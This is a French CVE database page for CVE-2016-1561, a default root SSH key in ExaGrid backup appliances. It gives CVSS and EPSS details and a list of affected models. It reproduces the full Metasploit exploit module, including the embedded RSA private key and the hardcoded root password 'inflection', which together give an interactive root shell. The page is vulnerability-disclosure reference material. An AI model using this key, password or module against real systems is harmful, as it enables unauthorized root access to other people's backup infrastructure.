CVE-2016-1561 : Détail

CVE-2016-1561

7.5
/
Haute
A01-Broken Access Control
84.4%V4
Network
2017-04-21
18h00 +00:00
2017-04-21
16h57 +00:00
CVE.org
NVD
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

ExaGrid appliances with firmware before 4.8 P26 have a default SSH public key in the authorized_keys file for root, which allows remote attackers to obtain SSH access by leveraging knowledge of a private key from another installation or a firmware image.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-200 Exposure of Sensitive Information to an Unauthorized Actor
The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.0 7.5 HIGH CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

A vulnerability exploitable with network access means the vulnerable component is bound to the network stack and the attacker's path is through OSI layer 3 (the network layer). Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable one or more network hops away (e.g. across layer 3 boundaries from routers).

Attack Complexity

This metric describes the conditions beyond the attacker's control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.

User Interaction

This metric captures the requirement for a user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

An important property captured by CVSS v3.0 is the ability for a vulnerability in one software component to impact resources beyond its means, or privileges.

Scope

Formally, Scope refers to the collection of privileges defined by a computing authority (e.g. an application, an operating system, or a sandbox environment) when granting access to computing resources (e.g. files, CPU, memory, etc). These privileges are assigned based on some method of identification and authorization. In some cases, the authorization may be simple or loosely controlled based upon predefined rules or standards. For example, in the case of Ethernet traffic sent to a network switch, the switch accepts traffic that arrives on its ports and is an authority that controls the traffic flow to other switch ports.

Unchanged

An exploited vulnerability can only affect resources managed by the same authority. In this case the vulnerable component and the impacted component are the same.

Base: Impact Metrics

The Impact metrics refer to the properties of the impacted component.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

None

There is no loss of integrity within the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

None

There is no impact to availability within the impacted component.

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence that one has in the description of a vulnerability.

Environmental Metrics

 nvd@nist.gov
V2 5 AV:N/AC:L/Au:N/C:P/I:N/A:N nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 41680

Date de publication : 2016-04-06 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'net/ssh' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Auxiliary::Report include Msf::Exploit::Remote::SSH def initialize(info = {}) super(update_info(info, { 'Name' => 'ExaGrid Known SSH Key and Default Password', 'Description' => %q{ ExaGrid ships a public/private key pair on their backup appliances to allow passwordless authentication to other ExaGrid appliances. Since the private key is easily retrievable, an attacker can use it to gain unauthorized remote access as root. Additionally, this module will attempt to use the default password for root, 'inflection'. }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Privileged' => true, 'Targets' => [ [ "Universal", {} ] ], 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd_interact', 'ConnectionType' => 'find', }, }, 'Author' => ['egypt'], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2016-1560' ], # password [ 'CVE', '2016-1561' ], # private key [ 'URL', 'https://community.rapid7.com/community/infosec/blog/2016/04/07/r7-2016-04-exagrid-backdoor-ssh-keys-and-hardcoded-credentials' ] ], 'DisclosureDate' => "Apr 07 2016", 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/interact' }, 'DefaultTarget' => 0 })) register_options( [ # Since we don't include Tcp, we have to register this manually Opt::RHOST(), Opt::RPORT(22) ], self.class ) register_advanced_options( [ OptBool.new('SSH_DEBUG', [ false, 'Enable SSH debugging output (Extreme verbosity!)', false]), OptInt.new('SSH_TIMEOUT', [ false, 'Specify the maximum time to negotiate a SSH session', 30]) ] ) end # helper methods that normally come from Tcp def rhost datastore['RHOST'] end def rport datastore['RPORT'] end def do_login(ssh_options) begin ssh_socket = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do ssh_socket = Net::SSH.start(rhost, 'root', ssh_options) end rescue Rex::ConnectionError return rescue Net::SSH::Disconnect, ::EOFError print_error "#{rhost}:#{rport} SSH - Disconnected during negotiation" return rescue ::Timeout::Error print_error "#{rhost}:#{rport} SSH - Timed out during negotiation" return rescue Net::SSH::AuthenticationFailed print_error "#{rhost}:#{rport} SSH - Failed authentication" rescue Net::SSH::Exception => e print_error "#{rhost}:#{rport} SSH Error: #{e.class} : #{e.message}" return end if ssh_socket # Create a new session from the socket, then dump it. conn = Net::SSH::CommandStream.new(ssh_socket, '/bin/bash -i', true) ssh_socket = nil return conn else return false end end # Ghetto hack to prevent the shell detection logic from hitting false # negatives due to weirdness with ssh sockets. We already know it's a shell # because auth succeeded by this point, so no need to do the check anyway. module TrustMeItsAShell def _check_shell(*args) true end end def exploit payload_instance.extend(TrustMeItsAShell) factory = ssh_socket_factory ssh_options = { auth_methods: ['publickey'], config: false, use_agent: false, key_data: [ key_data ], port: rport, proxy: factory, non_interactive: true } ssh_options.merge!(verbose: :debug) if datastore['SSH_DEBUG'] conn = do_login(ssh_options) unless is_success?(conn, true) ssh_options[:auth_methods] = ['password'] ssh_options[:password] = 'inflection' ssh_options.delete(:key_data) conn = do_login(ssh_options) is_success?(conn, false) end end def is_success?(conn,key_based) if conn print_good "Successful login" service_data = { address: rhost, port: rport, protocol: 'tcp', service_name: 'ssh', workspace_id: myworkspace_id, } credential_data = { username: 'root', private_type: ( key_based ? :ssh_key : :password ), private_data: ( key_based ? key_data : 'inflection' ), origin_type: :service, module_fullname: fullname, }.merge(service_data) core = create_credential(credential_data) login_data = { core: core, last_attempted: Time.now, }.merge(service_data) create_credential_login(login_data) handler(conn.lsock) true else false end end def key_data <<EOF -----BEGIN RSA PRIVATE KEY----- MIICWAIBAAKBgGdlD7qeGU9f8mdfmLmFemWMnz1tKeeuxKznWFI+6gkaagqjAF10 hIruzXQAik7TEBYZyvw9SvYU6MQFsMeqVHGhcXQ5yaz3G/eqX0RhRDn5T4zoHKZa E1MU86zqAUdSXwHDe3pz5JEoGl9EUHTLMGP13T3eBJ19MAWjP7Iuji9HAgElAoGA GSZrnBieX2pdjsQ55/AJA/HF3oJWTRysYWi0nmJUmm41eDV8oRxXl2qFAIqCgeBQ BWA4SzGA77/ll3cBfKzkG1Q3OiVG/YJPOYLp7127zh337hhHZyzTiSjMPFVcanrg AciYw3X0z2GP9ymWGOnIbOsucdhnbHPuSORASPOUOn0CQQC07Acq53rf3iQIkJ9Y iYZd6xnZeZugaX51gQzKgN1QJ1y2sfTfLV6AwsPnieo7+vw2yk+Hl1i5uG9+XkTs Ry45AkEAkk0MPL5YxqLKwH6wh2FHytr1jmENOkQu97k2TsuX0CzzDQApIY/eFkCj QAgkI282MRsaTosxkYeG7ErsA5BJfwJAMOXYbHXp26PSYy4BjYzz4ggwf/dafmGz ebQs+HXa8xGOreroPFFzfL8Eg8Ro0fDOi1lF7Ut/w330nrGxw1GCHQJAYtodBnLG XLMvDHFG2AN1spPyBkGTUOH2OK2TZawoTmOPd3ymK28LriuskwxrceNb96qHZYCk 86DC8q8p2OTzYwJANXzRM0SGTqSDMnnid7PGlivaQqfpPOx8MiFR/cGr2dT1HD7y x6f/85mMeTqamSxjTJqALHeKPYWyzeSnUrp+Eg== -----END RSA PRIVATE KEY----- EOF end end

Products Mentioned

Configuraton 0

Exagrid>>Ex3000_firmware >> Version 4.8

Exagrid>>Ex3000 >> Version -

Configuraton 0

Exagrid>>Ex5000_firmware >> Version 4.8

Exagrid>>Ex5000 >> Version -

Configuraton 0

Exagrid>>Ex7000_firmware >> Version 4.8

Exagrid>>Ex7000 >> Version -

Configuraton 0

Exagrid>>Ex10000e_firmware >> Version 4.8

Exagrid>>Ex10000e >> Version -

Configuraton 0

Exagrid>>Ex13000e_firmware >> Version 4.8

Exagrid>>Ex13000e >> Version -

Configuraton 0

Exagrid>>Ex21000e_firmware >> Version 4.8

Exagrid>>Ex21000e >> Version -

Configuraton 0

Exagrid>>Ex32000e_firmware >> Version 4.8

Exagrid>>Ex32000e >> Version -

Configuraton 0

Exagrid>>Ex40000e_firmware >> Version 4.8

Exagrid>>Ex40000e >> Version -

Références

Les informations affichées sur CVE Find proviennent de plusieurs sources de référence rigoureusement sélectionnées. Les données CVE sont fournies par MITRE Corporation et la National Vulnerability Database (NVD). Le catalogue des vulnérabilités activement exploitées (KEV) provient de la Cybersecurity and Infrastructure Security Agency (CISA), tandis que les scores EPSS sont issus de FIRST.org. Enfin, les données relatives aux faiblesses logicielles (CWE) et aux schémas d'attaque courants (CAPEC) sont maintenues par MITRE Corporation, et les informations sur les configurations logicielles et matérielles (CPE) proviennent du NVD.